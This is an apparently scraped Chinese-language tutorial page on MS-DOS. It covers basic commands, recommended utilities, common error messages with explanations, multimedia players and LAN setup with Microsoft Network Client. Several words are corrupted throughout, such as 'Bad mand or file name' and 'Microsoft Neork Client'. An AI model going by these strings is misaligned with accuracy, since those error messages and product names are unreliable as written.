它的選項非常多,如/S可拷貝整個文件夾(包括子文件夾)中的文件,/E指定包括空文件夾,/V表示復制完後檢驗復制出的文件的正確性,/Y表示確認,等等。

CLS 清除屏幕。

用法:CLS

SYS 傳導系統,即將系統文件(如IO.SYS等)從一處傳輸到指定的驅動器中。

用法:SYS 文件夾名 [驅動器]

如 SYS C:\DOS A:

此命令即可將位於C:\DOS文件夾下的系統文件傳輸到A盤中。

DATE 顯示或設置日期。

用法:DATE [日期]

TIME 顯示或設置時間。

用法:TIME [時間]

DOS還自帶一些其它的命令,如SORT(排序),FIND(尋找字元)等。

除DOS自帶的命令以外,還有很多其它的增強命令也非常實用,它們可以大大增強DOS的功能。這些軟體中有很多可以在「DOS軟體」中下載。

--------------------------------------------------------------------------------

DOS下的必備工具

DOS是個非常強大實用的操作系統,有著最多的用戶。但是我們在安裝了DOS以後,發現DOS自帶的命令並不能完成大家所需的各方面的功能。這時,我們就需要一些其它的軟體來實現那些功能。DOS下的實用軟體是非常多的,那麼,我們應該在其中選擇哪些工具作為必備工具來使用呢?下面就來分類討論一下。

當安裝了操作系統後,首先要使整個電腦的硬體發揮出各自的功能,比如滑鼠,光碟機,音效卡等等。這時就需要有相應的驅動程序,而這些驅動程序就是DOS下的必備工具。這些驅動程序可在本站的「DOS軟體」中下載,而安裝與設置方法請見本欄目的「DOS下硬體設備的使用與設置」。

將硬體都能正常工作了以後,就要讓DOS來完成所需的功能了。DOS既是個方便實用的操作系統,又是一個基礎操作系統,許多界面增強程序(如Windows 3.x/9x)都是建立在它的基礎上實現的,即DOS是它們的內核。因此,在DOS下進行一些系統和磁碟的管理是十分合適的,例如復制磁碟,分區,格式化等等。這時,GHOST,FDISK,FORMAT及PQMAGIC等磁碟工具就可以大顯身手了,可以當作是DOS下的必備工具。當然,其它的系統維護工具(如磁碟檢查工具等)也非常重要,大家可在本欄目的「DOS系統的維護」中看到。

大家知道,為了節省空間,很多文件都是使用壓縮的方法來存取的。因此,DOS下進行壓縮和解壓的工具是非常重要的。常用的壓縮格式有ZIP,RAR及ARJ等,而能夠建立和展開這些壓縮格式的DOS工具分別是PK(UN)ZIP,(UN)RAR及(UN)ARJ。它們的操作都十分方便快捷,如PKUNZIP *.ZIP就可以將當前文件夾下所有的ZIP文件展開。RAR和ARJ格式也是一樣,可以建立或展開相應的壓縮文檔。不過要注意,由於RAR近年來在3.0版本中採用了新的RAR壓縮格式,所以許多新的RAR文件應用最新版本的RAR(即3.0版)來解壓,可在本站的「壓縮工具」中下載。至於以上PKZIP/PKUNZIP和RAR等工具的具體使用方法,可見本站「DOS文章」欄目中的「DOS下常用壓縮和解壓工具的使用」。除了壓縮一般文件,還可以壓縮可執行文件,即將可執行文件的體積變小。最好的可執行文件的壓縮工具是UPX,功能非常強大,可以作為必備工具。

還有部分文件叫作映像文件,如IMG文件,它們中有很多是用HD-COPY產生的,當然還有其它的工具。解壓這些文件最好的方法是用UNDISK(可在本站下載),它可以非常高效的將映像文件展開,可作為必備工具。最好不要用HD-COPY等工具來解壓這些文件,因為此工具不僅舊,而且只能將文件展開到軟盤上,非常不方便。剛才提到的UNDISK則要好用得多。

那麼如果不知道一些文件是什麼壓縮格式的情況怎麼辦呢(尤其是當擴展名丟失的時候)?這時,可用DOS下的一個非常強大的工具GetType,它的最新版本是2.60,可在本站中下載。它可以非常詳細的顯示壓縮/映像/加密文件中的信息,甚至可以將裡面的內容全部顯示出來,而不需其它任何軟體。不僅如此,它還可以顯示可執行文件(包括Windows文件)和其它文件中的信息,非常強大,而且支持長文件名。大家可以將它當作必備工具,因為一旦有了它,操作起來就方便多了。

大家知道,Windows的文件管理器操作起來非常直觀,DOS下也有很多的這樣的工具,可在本站的「文件管理」中找到。它們也都是以圖形方式進行操作,通常除基本的文件管理功能以外,還能實現其它許多功能,如自帶文件編輯器,可以查看壓縮文件中的內容等,而且近年來DOS下的文件管理工具還增加了支持長文件名和FAT32的功能。這些工具中,比較實用的有Volkov Commander等,它們的界面都不錯,功能也很強,大家可以將它們作為必備工具來使用。

使用DOS自然會經常與文件和文件夾打交道,因此,如何很好的使用這些文件和文件夾就非常重要。常用的文件操作如建立,刪除,編輯等,既可用DOS自帶的命令,也可用許多增強工具,這樣可以大大提高文件操作的效率。這些工具可在本站的「文件工具」中下載,本站的文件工具中大都支持長文件名和FAT32分區。純DOS通常只能使用短文件名,那麼如何讓它使用長文件名呢?其實,實現起來並不難,通常有長文件名驅動程序和直接操作長文件名兩種方式,對應的工具分別有DOSLFN/LFNDOS和Odi's LFN tools,非常實用,可以作為必備工具。具體在純DOS下使用長文件名的方法請見本站的「DOS文章」欄目中的文章。

隨著電腦的發展,越來越多的人開始使用它,所以許多日常生活上的事(比如寫文章,聽音樂,看圖像等)都在電腦上進行了。那麼,如何在DOS下進行這些操作呢?先說寫文章。DOS中自帶一個EDIT命令,可以編輯多個文件和二進制文件,不過功能並不是很強大(比如不能設置字體等),可以使用其它專門的文字處理工具來完成。這些工具中著名的有MS-Word,CCED,WPS等,可在本站「文本」工具中下載。有些人喜歡一邊打字一邊聽音樂,在DOS下當然也可以實現。以SETEDIT為例,這是一個非常強大實用的DOS字處理軟體,不僅具有字處理的功能,還可以一邊寫文章一邊聽MP3音樂,多麼好啊!因此可以將它們作為必備工具。

說完了在DOS下的文書處理,接下來就是聽音樂和看圖像等等操作了。DOS下聽音樂和看圖像的軟體非常多,比如可以聽WAV,MID,MP3等格式的音樂,功能和效果都非常好(絕不是最舊最差的MP3播放器DOSAMP的那種播放效果),具體可在本欄目的「DOS下的多媒體」中看到。比如QuickView,它的體積就非常小,功能卻很強大,大家可將它作為必備工具。在DOS下看圖像也非常方便,通常有兩種方式,一種是命令行方式,一種是圖形界面方式。以PictView(可在本站的「圖形軟體」中下載)為例,它可以播放40多種圖形格式,如JPG,GIF,BMP,TGA,ICO,GIF等等,不僅速度快,質量和效果好,而且它的體積非常小,才100多K!因此,完全可以將它作為必備工具來使用。但有些圖像軟體,尤其是舊的圖像軟體,如NV等,不僅速度慢,播放質量差,而且體積也很龐大,所以最好不要使用。

DOS下還有許多非常強大實用的軟體,也可以做為必備工具。DOS軟體通常都很小巧實用,這自然大大方便了大家的使用。比如SHUTDOWN和POWEROFF等命令可以輕易在DOS命令行方式下實現軟關機,不僅操作起來很方便,而且體積非常小,大家就可以將它們作為必備工具。還有一些DOS命令的增強工具,可以大大增強DOS自帶的外部的功能,如XXCOPY,XMSDSK等等,可以在本站中下載。為了方便大家的使用,我製作了「DOS常用工具集」,包括了以上各類軟體(如命令行工具,驅動程序,系統工具,磁碟工具,壓縮工具,多媒體軟體等)的直接運行版本,放在本站「DOS軟體」欄目的「DOS系統」中,歡迎大家下載使用。

由於每個人的習慣和愛好都不相同,所以每個人所進行的主要操作也並不相同。比如有些人喜歡編程序,或編批處理文件,就可將一些實用的編處理工具(可在本站的「腳本工具」中下載)作為必備工具;有些人喜歡玩游戲,就可以將一些游戲修改軟體或模擬器(可在本站的「游戲軟體」中下載)作為必備工具。因此,大家還可以根據自己的喜好來選擇適合於自己的必備工具。不過,大家應盡量使用那些近幾年來新推出的DOS軟體,因為這些軟體不僅整體而言功能更強,而且支持最新的電腦技術(如FAT32分區,大硬碟,長文件名,PCI/USB設備等)。總之,只要我們善於選擇和使用DOS軟體,就可以將DOS變得非常強大,讓DOS發揮出應有的功能。

--------------------------------------------------------------------------------

DOS命令行下常見的錯誤信息

大家在使用DOS的過程中,經常在命令行方式下遇到一些錯誤信息提示,由於往往是英文的,導致一些人看到後不知是怎麼回事,更不知該如何解決了。下面,我就將常見的DOS命令行方式下的錯誤信息向大家介紹一下。

[英文] Bad mand or file name

[譯文] 錯誤的命令或文件名

錯誤原因和解決:

這大概是大家最常見到的錯誤提示了,它的意思是輸入的命令無效。當輸入的命令既不是DOS內部命令,而且系統在查找路徑或指定路徑中找不到相應的可執行文件的話,就會出現此錯誤信息。您可以檢查輸入的命令是否正確,如是否打錯了字母等。

[英文] Access Denied

[譯文] 拒絕存取

錯誤原因和解決:

這也是一個常見的錯誤,出現的情況很多,如在用DEL命令刪除具有隻讀屬性的文件,或者在多任務環境下有多個進程同時存取同一文件,以及試圖在設有隻讀許可權的網路文件夾中寫入文件的時候。解決的方法也很簡單,只需去掉文件的只讀、隱含等屬性,或保證同一時候只有一個進程在讀寫文件,及去掉網路文件夾的只讀許可權即可。

[英文] Drive not ready

[譯文] 驅動器未准備好

錯誤原因和解決:

相信大家都遇到過這個錯誤信息吧!尤其是在存取可移動磁碟(包括軟盤和光碟)的時候更是常見到。解決方法是將磁碟插好後重試即可。

[英文] Write protect error

[譯文] 防寫錯誤

錯誤原因和解決:

當試圖向寫了保護的磁碟(通常是軟盤)寫入信息的時候就會出現該錯誤。將磁碟的防寫去掉即可。

[英文] General error

[譯文] 常規錯誤

錯誤原因和解決:

此錯誤通常出現在DOS無法識別指定的磁碟的格式的情況下,如軟盤未格式化。用FORMAT等命令格式化磁碟或轉換成DOS能識別的格式即可。

[英文] Abort,Retry,Ignore,Fail?

[譯文] 中止,重試,忽略,失敗?

錯誤原因和解決:

此錯誤信息的出現頻率非常高,比如在磁碟未准備好的時候。輸入A則取消操作,然後返回DOS提示符下,輸入R則表示再試一次,輸入I則表示忽略此錯誤並繼續,最好不要使用,輸入F則表示跳過此錯誤,經常選擇此項。

[英文] File not found

[譯文] 文件未找到

錯誤原因和解決:

在使用很多命令的時候若找不到指定的文件就會出現該提示。例如使用DIR命令的時候,若指定的文件不存在,該錯誤信息就會出現。解決方法是將文件名輸入正確。

[英文] Incorrect DOS version

[譯文] 錯誤的DOS版本

錯誤原因和解決:

當要執行的命令發現當前的DOS版本與這個命令所期待的DOS版本不相同的時候就會出現此錯誤信息。具體情況和解決方法請見本站的「DOS文章」欄目中的文章。

[英文] Invalid directory

[譯文] 非法目錄

錯誤原因和解決:

如果輸入了不存在或無效的目錄的時候就會出現該提示。可檢查是否輸入有誤。

[英文] Invalid Drive Specification

[譯文] 指定的驅動器非法

錯誤原因和解決:

當輸入的驅動器不存在的時候就會出現該提示。請檢查是否存在該驅動器。有些驅動器(如NTFS卷,光碟機,網路驅動器等)則需要載入相應的驅動程序才能被識別。

[英文] Syntax error

[譯文] 語法錯誤

錯誤原因和解決:

此命令在使用一些批處理命令(如IF,FOR等)時比較常見,可檢查是否輸入了無效的語法。以FOR命令為例,它的語法是FOR %F IN (文件名) DO 命令,不能將此語法格式弄錯了(如輸反了或漏了等),必須輸入正確的命令才能得到相就的結果。

[英文] Required parameter missing

[譯文] 缺少必要的參數

錯誤原因和解決:

如果在執行命令(如DEL)漏掉了它要正常完成功能所需的參數時,就會出現該提示。

[英文] Invalid parameter

[譯文] 非法參數

錯誤原因和解決:

出現在執行命令時輸入了無效的參數。可以檢查輸入的參數是否正確,有沒有拼寫錯誤等。如果您不知道有哪些參數的話,通常可以使用此命令的/?選項來看參數列表。

[英文] Not enough memory 或 Insufficient memory

[譯文] 內存不足

錯誤原因和解決:

如果在執行程序時程序發現所需的內存大於可以使用的內存(通常是指常規內存)時就會出現此信息。造成內存不足的情況如執行了過多過大的內存駐留程序,或系統內存未經過很好的配置等。大家可以看本欄目中的「DOS下內存的配置」。

[英文] Divide overflow 或 Divide by zero

[譯文] 除數為零

錯誤原因和解決:

如果在系統不穩定,與其它程序有沖突,或程序本身有問題的情況下運行程序的話就會出現此錯誤。可以重新啟動系統後再運行此程序試試。

[英文] Runtime error xxx

[譯文] 運行時間錯誤xxx

錯誤原因和解決:

和以上的「除數為零」錯誤類似。如果xxx的值為200的話,可以見「DOS文章」欄目。

[英文] Error in EXE file

[譯文] EXE文件有錯誤

錯誤原因和解決:

通常是這個可執行文件已經損壞,已不能夠再使用。使用一個好的就可以了。

以上是常見的DOS命令行方式下的錯誤信息,大家可以利用上文將故障排除。

--------------------------------------------------------------------------------

DOS下的多媒體

在許多人的印象中,DOS是個單任務的文本模式的操作系統,哪兒會有什麼或者說是較好的多媒體功能呢?其實不然。比如,Windows 3.x和Windows 9x只不過是建立在DOS下的大型保護模式的應用程序,為何它們也能播放精採的多媒體文件呢?所以,多媒體絕非WIN等操作系統的「專利」,DOS下實現多媒體功能是完全可以的,而且由於時代的發展,新的開發器和編程序庫的推出,DOS下的多媒體功能實現起來也越來越容易,功能也越來越強,大家可在「DOS近年來的發展」中看到。

注意,如果要在DOS下用音效卡播放聲音,首先需要設置好音效卡。具體方法請見本欄目中的「DOS下硬體設備的使用與設置」。

當然,DOS操作系統本身並不帶有多媒體命令,而需要專門的多媒體軟體,這就像我們玩游戲需要專門的游戲軟體一樣。DOS下的多媒體軟體有很多,舊的有SEA等,不過近幾年來隨著多媒體技術的發展,DOS下多媒體軟體也明顯增多了,如QuickView Pro、Cubic Player(OpenCP)、MPXPlay、DSS等等,大家可以到「DOS軟體分類下載」中的「媒體軟體」中下載。這些軟體普遍可以播放WAV,MP3等格式的文件,有的則支持更多的格式,如Cubic Player,不僅支持的格式很多,包括WAV,MP3,MID,RMI,ASF,MOD,S3M,IT,ASF,669,CD音頻等等,而且界面非常不錯。注意大多數MP3文件播放器最好在586以上的電腦下使用,以發揮最好的效果,在486或以下電腦上播放MP3時可能會出現斷音,而WAV等格式則沒有問題。

有些人在原來曾使用過DOSAmp來播放MP3文件,覺得它的播放效果不好而認定DOS下播放MP3都不好。其實這是不對的。因為DOSAmp其實是DOS下最舊且功能和效果都是最差的MP3播放器,界面雖不是最差,但也只是一般,現在早已被淘汰了。我雖然經常在DOS下聽MP3歌曲,卻非常不喜歡用DOSAmp而是使用其它在DOS下播放較果非常好的MP3播放器進行播放。大家可以在「媒體軟體」中找到。

在這么多的軟體中,我向大家推薦QuickView Pro,它是一個非常強大的多媒體軟體,支持的格式非常多,包括多種音樂格式(如WAV、MP3等等),各種圖形格式(如BMP、GIF、JPG、PCX等等),還有很多多媒體格式(如AVI、MPG、MOV、FLC/FLI、VCD等等)。它一直在不斷發展著,比如其最新的2.50版於今年8月底剛推出。其具體使用方法可以在「DOS文章」欄目中的「DOS多媒體播放器——QuickView的使用」一文中看到。當然也推薦其它一些MP3播放器,如MPXPLAY也很不錯,功能相當多,如媒體的播放、轉換等等它都能完成。它的界面也很好,且支持滑鼠操作,十分方便實用。它現在一直在不斷發展和更新著,其最新版本於今年10月剛推出。

除此之外,還有MegaMid,MidPlay等全屏幕的MIDI播放器也非常不錯,不僅界面很好,功能也很強大。它們都可以顯示MIDI音樂中的字幕(如果有的話),操作也十分簡單。至於其它各種多媒體格式也完全可以在DOS下播放,如VideoCD(VCD)的播放,除上面的QuickView Pro,還有Mpegone等等都可以做到,效果也很好,當然最好在586以上的電腦上播放,越新效果就越好。而RealAudio等格式的播放,則可以在「DOS使用中的常見問題解答(FAQ)」專欄中看到。

總之,DOS下的多媒體功能是非常強大的。如果您有興趣的話,也可以為「DOS開發」欄目開發一些DOS下多媒體軟體,以跟上國外DOS軟體的發展,並幫助廣大的DOS使用者與愛好者們,還可以促進國內自由軟體的發展,真是好處甚多。

--------------------------------------------------------------------------------

DOS下聯網的方法

隨著計算機和網路的普及,計算機之間的聯網操作(如文件的傳輸,聊天等)以及Inter網路顯得越來越重要了。既然DOS有這么多的用戶,那麼如何用它來實現聯網呢?DR-DOS 7.xx和ROM-DOS 7.xx中自帶聯網(包括區域網和TCP/IP協議等)的功能,可是我們大家常用的MS-DOS卻沒有。但是,並不是沒有辦法,只是需要一些附加的軟體。比較好的有Neare Lite 1.x和Microsoft Neork Client 3.0等(均可在本站的「網路工具」中下載),下面以Microsoft Neork Client 3.0為例,講述一下區域網的實現方法。關於DOS下Inter的連接方法,請看下文。

首先在需要聯網的計算機中安裝Microsoft Neork Client 3.0(後文簡稱MSCLIENT),安裝中輸入各自的工作組,計算機名和IP地址,以及用戶名和密碼,並在列表中選擇安裝的網卡的型號。如果列表中沒有您的網卡的話,則需要網卡自帶的驅動程序,通常在一張軟盤中,也有可能在光碟中。當它提示輸入OEM盤的時候,您就插入網卡的驅動程序磁碟,然後輸入合適的路徑。由於各網路系統所需的網卡驅動程序並不一樣,而對於MSCLIENT一般則選擇驅動盤中的NDIS2或MSCLIENT文件夾,如A:\MSCLIENT。只要正確的話,它就會進行自動安裝了。至於網路協議,一般只要有NetBEUI和TCP/IP協議就夠了,裝太多會減慢網路的速度。安裝完成後,MSCLIENT會自動將網路啟動命令放入AUTOEXEC.BAT中,重新啟動計算機後就會發現網路自動啟動了。當系統提示輸入用戶名和密碼時,輸入剛才設置的就可以了。這時,網路就開始運轉了,比如您想查看當前工作組下的所有計算機,可輸入NET VIEW命令。

不過,這時候大家都還是客戶機,還沒有伺服器,必須安裝伺服器才可以共享文件。安裝後可用NETSHARE命令設置共享路徑,如將D盤設為共享,如果必要的話,還可以設置密碼,以免非法訪問。一旦設好伺服器和共享,客戶機就可以訪問該計算機上的資源了。比如:NET USE E: \\PC\C命令就會將名稱為PC的計算機上的共享名為C的驅動器(或文件夾)重定向到E盤,此時遠程計算機上的內容就可以像本地計算機那樣訪問了。不過還有一點很重要,那就是要將MSCLIENT的文件和列印機的共享功能的設置打開,方法是用EDIT等文本編輯器打開MSCLIENT文件夾中的SYSTEM.INI,將[neork]項中的filesharing和printsharing的值全部改為yes,保存並退出後就可以使用文件和列印機的共享功能了。

如果想將使用DOS和使用Windows的計算機相聯,也是完全可以的。由於Windows 3.11 for Workgroups,Windows 9x以及Windows NT/2K/XP中採用的是一種叫做「Microsoft Windows Neork」的網路,和DOS下的Microsoft Neork Client 3.0是兼容的,所以它們之間可以實現非常完好的互相訪問,就像DOS與DOS之間,或Windows與Windows之間的網路一樣。不過要注意的是,若想要使用DOS的計算機訪問使用Windows NT/2K/XP的計算機,則一定要在Windows NT/2K/XP中設置DOS計算機的用戶帳戶,否則無法訪問。

Microsoft Neork Client 3.0中有許多非常實用的命令,如PING等,如果您想知道這些命令及其用法,請見「DOS文章」欄目。

除了使用MSCLIENT以外,還可以使用Neare等工具聯網。以Neare Lite為例,安裝完後直接執行STARTNET.BAT即可自動調入對等網(包括伺服器)。這時可用它自帶的NET命令進行全屏幕的網路管理,也可以用命令行方式,比如NET MAP命

閱讀全文

與基本dos命令相關的資料

熱點內容
linux下安裝vnc 瀏覽:656
微信圖片加密編輯可見 瀏覽:704
江恩操盤術pdf 瀏覽:929
本機構所屬的伺服器是什麼意思 瀏覽:783
c編譯器有哪些段 瀏覽:862
qq原創表情在哪個文件夾 瀏覽:624
點點賺app現在怎麼不能用了 瀏覽:363
網紅阿里程序員事件 瀏覽:203
演算法設計心得體會 瀏覽:116
java修改ip 瀏覽:150
php不需要編譯嗎 瀏覽:134
特斯拉新車如何用app控制 瀏覽:185
文檔拖到文件夾就不見了 瀏覽:814
標致308壓縮比是多少 瀏覽:749
伺服器和備用伺服器地址 瀏覽:926
程序員加班跳槽 瀏覽:706
青年員工在工作中如何化解壓力 瀏覽:604
包子解壓神器怎麼玩才爽 瀏覽:735
聯想加密電腦怎麼做系統 瀏覽:883
解壓最近的壓力 瀏覽:711